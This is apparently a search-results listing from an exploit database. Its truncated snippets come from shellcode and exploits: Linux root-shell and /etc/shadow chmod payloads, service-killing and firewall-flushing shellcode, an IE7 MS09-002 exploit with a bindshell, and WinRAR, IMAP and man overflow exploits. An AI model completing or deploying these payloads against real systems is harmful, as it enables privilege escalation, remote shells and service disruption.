7594 matches found
Linux/sparc - setreuid(0,0)&standard execve(). 72 bytes
No description provided by source. / Linux/SPARC setreuid0, 0; necessary, /bin/sh drops privs, standard execve. / char c0de = / by michel kaempf / / setuid 0 ; / "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" / setgid 0 ; / "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" / Aleph One : /...
Linux/sparc - [setreuid(0,0); execve() of /bin/sh] - 64 bytes
No description provided by source. / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema [email protected] / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x09" / and %o1, %o1, %o0 / "\x91\xd0\x20\x10" / ta...
Linux/x86 - upload & exec
No description provided by source. UPLOAD & EXEC SHELLCODE 1 converting asm to hex 2 asm code 3 hex output 4 upload function This is an 'upload and exec' shellcode for the x86 platform. File has to be in executable format, cool if you know the distribution of the target, otherwise it is useless...
linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes
Exploit for linux/x86 platform in category shellcode ===================================================== linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes ===================================================== / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %eb...
linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes
linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes. Shellcode exploit for linx86 platform / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan Web: http://www.shell-storm.org...
win32 XP sp2 FR Sellcode cmd.exe 32 bytes
win32 XP sp2 FR Sellcode cmd.exe 32 bytes. Shellcode exploit for win32 platform / windows/XP sp2 FR Sellcode cmd.exe 32 bytes Author : Mountassif Moad Big Thnx : Houssamix & SimO-s0fT Changed by : Stack Description : It is 32 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 FR My...
Recently that IE7 0day shellcode decryption-bug warning-the black bar safety net
One, use freshow tool to decrypt Original link http://bbs.kafan.cn/viewthread.php?tid=383769&page=1&extra=page%3D1pid5736829 Need to extract the shellcode decryption 1 dadong replace to % u for once esc decrypt--up 2 esc next fill in 2 1 decode should appear. ! Second, The do-it-yourself it, writ...
MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)
Exploit for unknown platform in category remote exploits ==================================================================== MS Internet Explorer 7 Memory Corruption Exploit MS09-002 xp sp2 ==================================================================== // Skyland win32 bindshell 28876/tcp...
win32/xp sp2 (FR) Sellcode cmd.exe 32 bytes
Exploit for win32 platform in category shellcode =========================================== win32/xp sp2 FR Sellcode cmd.exe 32 bytes =========================================== / windows/XP sp2 FR Sellcode cmd.exe 32 bytes Author : Mountassif Moad Big Thnx : Houssamix & SimO-s0fT Changed by :...
Linux/x86 - chmod() 666 /etc/shadow & exit()
No description provided by source. / Linux/x86 - chmod 666 /etc/shadow & exit Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
linux/x86 chmod(""/etc/shadow"" 666) & exit(0) 30 bytes
No description provided by source. / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
Linux/x86 - Kill service apache2 + pure-ftpd + sshd - 81 bytes
No description provided by source. / Linux x86 | Kill Service - Apache2 - Pure-Ftpd - sshd Shellcode 81 bytes Auhtor: Jonathan Salwan js.rac.projet AT gmail.com Web: http://www.shell-storm.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99...
40 byte shellcode to flush ipchains for Linux x86
No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...
Microsoft Internet Explorer 7 (Windows XP SP2) - Memory Corruption (MS09-002)
Microsoft Internet Explorer 7 Windows XP SP2 - Memory Corruption MS09-002 // Skyland win32 bindshell 28876/tcp shellcode // If you want an evill Shellcode go ahead !!! var...
Linux/x86 - ipchains -F - 40 bytes
No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...
University of Washington IMAP Format String
/ This BUg Discover By Faryad Rahmany C0d3d by Faryad rahmany website : http://rahmany.net University Of Washington IMAP c-client Remote FOrmat String Shellcode based on work by vlad902 Greets to my best Freind : DJ7xpl UG : File Host Port Target Target 1 : WIndows XP Sp 1 : 0 Target 2 : Windows ...
Microsoft Internet Explorer 7 (Windows XP SP2) - Memory Corruption (MS09-002)
// Skyland win32 bindshell 28876/tcp shellcode // If you want an evill Shellcode go ahead !!! var...
Internet Explorer 7.0 Exploit(MS09-002)
No description provided by source. script language="JavaScript" !-- MS09-002 Internet Exploere 7.0 Exploit Modify by Friddy 2009.02.12 mail:[email protected] blog:www.friddy.cn Tested under Windows XP sp2+IE 7.0 shellcode will popup the calc.exe -- var...
Redhat 6.1 man Local Exploit (egid 15)
No description provided by source. !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"...
WinRAR 3.x LHA Buffer Overflow Exploit
No description provided by source. include include include //----------------------------------------- // 参数定义 //----------------------------------------- define BUFFSIZE 102400 define RETOFFSET 0x14 define FILELEN 0xE6 define DIRLEN 0x3FF-3 define LHLEN 22 define LELEN 6 define LEELEN 2 define...